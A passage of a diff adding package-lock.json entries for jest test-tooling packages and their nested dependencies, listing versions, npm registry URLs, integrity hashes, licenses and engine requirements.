"sha512-rMyFe1+jnyAAf+NHwTclDz0eAaLkVDdKVHHBFWsBWHnnh5YeJMNWWsv7AbFYXfK3oTqvL7VTWkhNLu1jX24D+g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.12.13", + "@jest/types": "^27.5.1", + "@types/stack-utils": "^2.0.0", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "micromatch": "^4.0.4", + "pretty-format": "^27.5.1", + "slash": "^3.0.0", + "stack-utils": "^2.0.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-runner/node_modules/jest-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz", + "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-runner/node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/jest-runtime": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-27.5.1.tgz", + "integrity": "sha512-o7gxw3Gf+H2IGt8fv0RiyE1+r83FJBRruoA+FXrlHw6xEyBsU8ugA6IPfTdVyA0w8HClpbK+DGJxH59UrNMx8A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/environment": "^27.5.1", + "@jest/fake-timers": "^27.5.1", + "@jest/globals": "^27.5.1", + "@jest/source-map": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "chalk": "^4.0.0", + "cjs-module-lexer": "^1.0.0", + "collect-v8-coverage": "^1.0.0", + "execa": "^5.0.0", + "glob": "^7.1.3", + "graceful-fs": "^4.2.9", + "jest-haste-map": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-mock": "^27.5.1", + "jest-regex-util": "^27.5.1", + "jest-resolve": "^27.5.1", + "jest-snapshot": "^27.5.1", + "jest-util": "^27.5.1", + "slash": "^3.0.0", + "strip-bom": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-runtime/node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-runtime/node_modules/@types/yargs": { + "version": "16.0.11", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz", + "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/jest-runtime/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-runtime/node_modules/ci-info": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz", + "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-runtime/node_modules/jest-message-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-27.5.1.tgz", + "integrity": "sha512-rMyFe1+jnyAAf+NHwTclDz0eAaLkVDdKVHHBFWsBWHnnh5YeJMNWWsv7AbFYXfK3oTqvL7VTWkhNLu1jX24D+g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.12.13", + "@jest/types": "^27.5.1", + "@types/stack-utils": "^2.0.0", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "micromatch": "^4.0.4", + "pretty-format": "^27.5.1", + "slash": "^3.0.0", + "stack-utils": "^2.0.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-runtime/node_modules/jest-mock": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-27.5.1.tgz", + "integrity": "sha512-K4jKbY1d4ENhbrG2zuPWaQBvDly+iZ2yAW+T1fATN78hc0sInwn7wZB8XtlNnvHug5RMwV897Xm4LqmPM4e2Og==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-runtime/node_modules/jest-regex-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-27.5.1.tgz", + "integrity": "sha512-4bfKq2zie+x16okqDXjXn9ql2B0dScQu+vcwe4TvFVhkVyuWLqpZrZtXxLLWoXYgn0E87I6r6GRYHF7wFZBUvg==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-runtime/node_modules/jest-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz", + "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-runtime/node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/jest-serializer": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-serializer/-/jest-serializer-27.5.1.tgz", + "integrity": "sha512-jZCyo6iIxO1aqUxpuBlwTDMkzOAJS4a3eYz3YzgxxVQFwLeSA7Jfq5cbqCY+JLvTDrWirgusI/0KwxKMgrdf7w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*", + "graceful-fs": "^4.2.9" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-snapshot": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-27.5.1.tgz", + "integrity": "sha512-yYykXI5a0I31xX67mgeLw1DZ0bJB+gpq5IpSuCAoyDi0+BhgU/RIrL+RTzDmkNTchvDFWKP8lp+w/42Z3us5sA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/core": "^7.7.2", + "@babel/generator": "^7.7.2", + "@babel/plugin-syntax-typescript": "^7.7.2", + "@babel/traverse": "^7.7.2", + "@babel/types": "^7.0.0", + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/babel__traverse": "^7.0.4", + "@types/prettier": "^2.1.5", + "babel-preset-current-node-syntax": "^1.0.0", + "chalk": "^4.0.0", + "expect": "^27.5.1", + "graceful-fs": "^4.2.9", + "jest-diff": "^27.5.1", + "jest-get-type": "^27.5.1", + "jest-haste-map": "^27.5.1", + "jest-matcher-utils": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-util": "^27.5.1", + "natural-compare": "^1.4.0", + "pretty-format": "^27.5.1", + "semver": "^7.3.2" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-snapshot/node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-snapshot/node_modules/@types/yargs": { + "version": "16.0.11", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz", + "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/jest-snapshot/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-snapshot/node_modules/ci-info": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz", + "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-snapshot/node_modules/expect": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/expect/-/expect-27.5.1.tgz", + "integrity": "sha512-E1q5hSUG2AmYQwQJ041nvgpkODHQvB+RKlB4IYdru6uJsyFTRyZAP463M+1lINorwbqAmUggi6+WwkD8lCS/Dw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "jest-get-type": "^27.5.1", + "jest-matcher-utils": "^27.5.1", + "jest-message-util": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-snapshot/node_modules/jest-diff": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-27.5.1.tgz", + "integrity": "sha512-m0NvkX55LDt9T4mctTEgnZk3fmEg3NRYutvMPWM/0iPnkFj2wIeF45O1718cMSOFO1vINkqmxqD8vE37uTEbqw==", + "dev": true, + "license": "MIT", + "dependencies": { + "chalk": "^4.0.0", + "diff-sequences": "^27.5.1", + "jest-get-type": "^27.5.1", + "pretty-format": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-snapshot/node_modules/jest-matcher-utils": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-27.5.1.tgz", + "integrity": "sha512-z2uTx/T6LBaCoNWNFWwChLBKYxTMcGBRjAt+2SbP929/Fflb9aa5LGma654Rz8z9HLxsrUaYzxE9T/EFIL/PAw==", + "dev": true, + "license": "MIT", + "dependencies": { + "chalk": "^4.0.0", + "jest-diff": "^27.5.1", + "jest-get-type": "^27.5.1", + "pretty-format": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-snapshot/node_modules/jest-message-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-27.5.1.tgz", + "integrity": "sha512-rMyFe1+jnyAAf+NHwTclDz0eAaLkVDdKVHHBFWsBWHnnh5YeJMNWWsv7AbFYXfK3oTqvL7VTWkhNLu1jX24D+g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.12.13", + "@jest/types": "^27.5.1", + "@types/stack-utils": "^2.0.0", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "micromatch": "^4.0.4", + "pretty-format": "^27.5.1", + "slash": "^3.0.0", + "stack-utils": "^2.0.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-snapshot/node_modules/jest-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz", + "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-snapshot/node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/jest-snapshot/node_modules/semver": { + "version": "7.7.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz", + "integrity": "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jest-util": { + "version": "30.3.0", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.3.0.tgz", + "integrity": "sha512-/jZDa00a3Sz7rdyu55NLrQCIrbyIkbBxareejQI315f/i8HjYN+ZWsDLLpoQSiUIEIyZF/R8fDg3BmB8AtHttg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "30.3.0", + "@types/node": "*", + "chalk": "^4.1.2", + "ci-info": "^4.2.0", + "graceful-fs": "^4.2.11", + "picomatch": "^4.0.3" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/jest-util/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-validate": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-27.5.1.tgz", + "integrity": "sha512-thkNli0LYTmOI1tDB3FI1S1RTp/Bqyd9pTarJwL87OIBFuqEb5Apv5EaApEudYg4g86e3CT6kM0RowkhtEnCBQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "camelcase": "^6.2.0", + "chalk": "^4.0.0", + "jest-get-type": "^27.5.1", + "leven": "^3.1.0", + "pretty-format": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-validate/node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-validate/node_modules/@types/yargs": { + "version": "16.0.11", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz", + "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/jest-validate/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-watch-typeahead": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/jest-watch-typeahead/-/jest-watch-typeahead-1.1.0.tgz", + "integrity": "sha512-Va5nLSJTN7YFtC2jd+7wsoe1pNe5K4ShLux/E5iHEwlB9AxaxmggY7to9KUqKojhaJw3aXqt5WAb4jGPOolpEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-escapes": "^4.3.1", + "chalk": "^4.0.0", + "jest-regex-util": "^28.0.0", + "jest-watcher": "^28.0.0", + "slash": "^4.0.0", + "string-length": "^5.0.1", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "peerDependencies": { + "jest": "^27.0.0 || ^28.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/@jest/console": { + "version": "28.1.3", + "resolved": "https://registry.npmjs.org/@jest/console/-/console-28.1.3.tgz", + "integrity": "sha512-QPAkP5EwKdK/bxIr6C1I4Vs0rm2nHiANzj/Z5X2JQkrZo6IqvC4ldZ9K95tF0HdidhA8Bo6egxSzUFPYKcEXLw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^28.1.3", + "@types/node": "*", + "chalk": "^4.0.0", + "jest-message-util": "^28.1.3", + "jest-util": "^28.1.3", + "slash": "^3.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/@jest/console/node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-watch-typeahead/node_modules/@jest/schemas": { + "version": "28.1.3", + "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-28.1.3.tgz", + "integrity": "sha512-/l/VWsdt/aBXgjshLWOFyFt3IVdYypu5y2Wn2rOO1un6nkqIn8SLXzgIMYXFyYsRWDyF5EthmKJMIdJvk08grg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@sinclair/typebox": "^0.24.1" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/@jest/test-result": { + "version": "28.1.3", + "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-28.1.3.tgz", + "integrity": "sha512-kZAkxnSE+FqE8YjW8gNuoVkkC9I7S1qmenl8sGcDOLropASP+BkcGKwhXoyqQuGOGeYY0y/ixjrd/iERpEXHNg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/console": "^28.1.3", + "@jest/types": "^28.1.3", + "@types/istanbul-lib-coverage": "^2.0.0", + "collect-v8-coverage": "^1.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/@jest/types": { + "version": "28.1.3", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-28.1.3.tgz", + "integrity": "sha512-RyjiyMUZrKz/c+zlMFO1pm70DcIlST8AeWTkoUdZevew44wcNZQHsEVOiCVtgVnlFFD82FPaXycys58cf2muVQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/schemas": "^28.1.3", + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^17.0.8", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/@sinclair/typebox": { + "version": "0.24.51", + "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.24.51.tgz", + "integrity": "sha512-1P1OROm/rdubP5aFDSZQILU0vrLCJ4fvHt6EoqHEM+2D/G5MK3bIaymUKLit8Js9gbns5UyJnkP/TZROLw4tUA==", + "dev": true, + "license": "MIT" + }, + "node_modules/jest-watch-typeahead/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-watch-typeahead/node_modules/ci-info": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz", + "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-watch-typeahead/node_modules/emittery": { + "version": "0.10.2", + "resolved": "https://registry.npmjs.org/emittery/-/emittery-0.10.2.tgz", + "integrity": "sha512-aITqOwnLanpHLNXZJENbOgjUBeHocD+xsSJmNrjovKBW5HbSpW3d1pEls7GFQPUWXiwG9+0P4GtHfEqC/4M0Iw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sindresorhus/emittery?sponsor=1" + } + }, + "node_modules/jest-watch-typeahead/node_modules/jest-message-util": { + "version": "28.1.3", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-28.1.3.tgz", + "integrity": "sha512-PFdn9Iewbt575zKPf1286Ht9EPoJmYT7P0kY+RibeYZ2XtOr53pDLEFoTWXbd1h4JiGiWpTBC84fc8xMXQMb7g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.12.13", + "@jest/types": "^28.1.3", + "@types/stack-utils": "^2.0.0", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "micromatch": "^4.0.4", + "pretty-format": "^28.1.3", + "slash": "^3.0.0", + "stack-utils": "^2.0.3" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/jest-message-util/node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-watch-typeahead/node_modules/jest-regex-util": { + "version": "28.0.2", + "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-28.0.2.tgz", + "integrity": "sha512-4s0IgyNIy0y9FK+cjoVYoxamT7Zeo7MhzqRGx7YDYmaQn1wucY9rotiGkBzzcMXTtjrCAP/f7f+E0F7+fxPNdw==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/jest-util": { + "version": "28.1.3", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-28.1.3.tgz", + "integrity": "sha512-XdqfpHwpcSRko/C35uLYFM2emRAltIIKZiJ9eAmhjsj0CqZMa0p1ib0R5fWIqGhn1a103DebTbpqIaP1qCQ6tQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^28.1.3", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/jest-watcher": { + "version": "28.1.3", + "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-28.1.3.tgz", + "integrity": "sha512-t4qcqj9hze+jviFPUN3YAtAEeFnr/azITXQEMARf5cMwKY2SMBRnCQTXLixTl20OR6mLh9KLMrgVJgJISym+1g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/test-result": "^28.1.3", + "@jest/types": "^28.1.3", + "@types/node": "*", + "ansi-escapes": "^4.2.1", + "chalk": "^4.0.0", + "emittery": "^0.10.2", + "jest-util": "^28.1.3", + "string-length": "^4.0.1" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/jest-watcher/node_modules/string-length": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.2.tgz", + "integrity": "sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "char-regex": "^1.0.2", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jest-watch-typeahead/node_modules/jest-watcher/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": 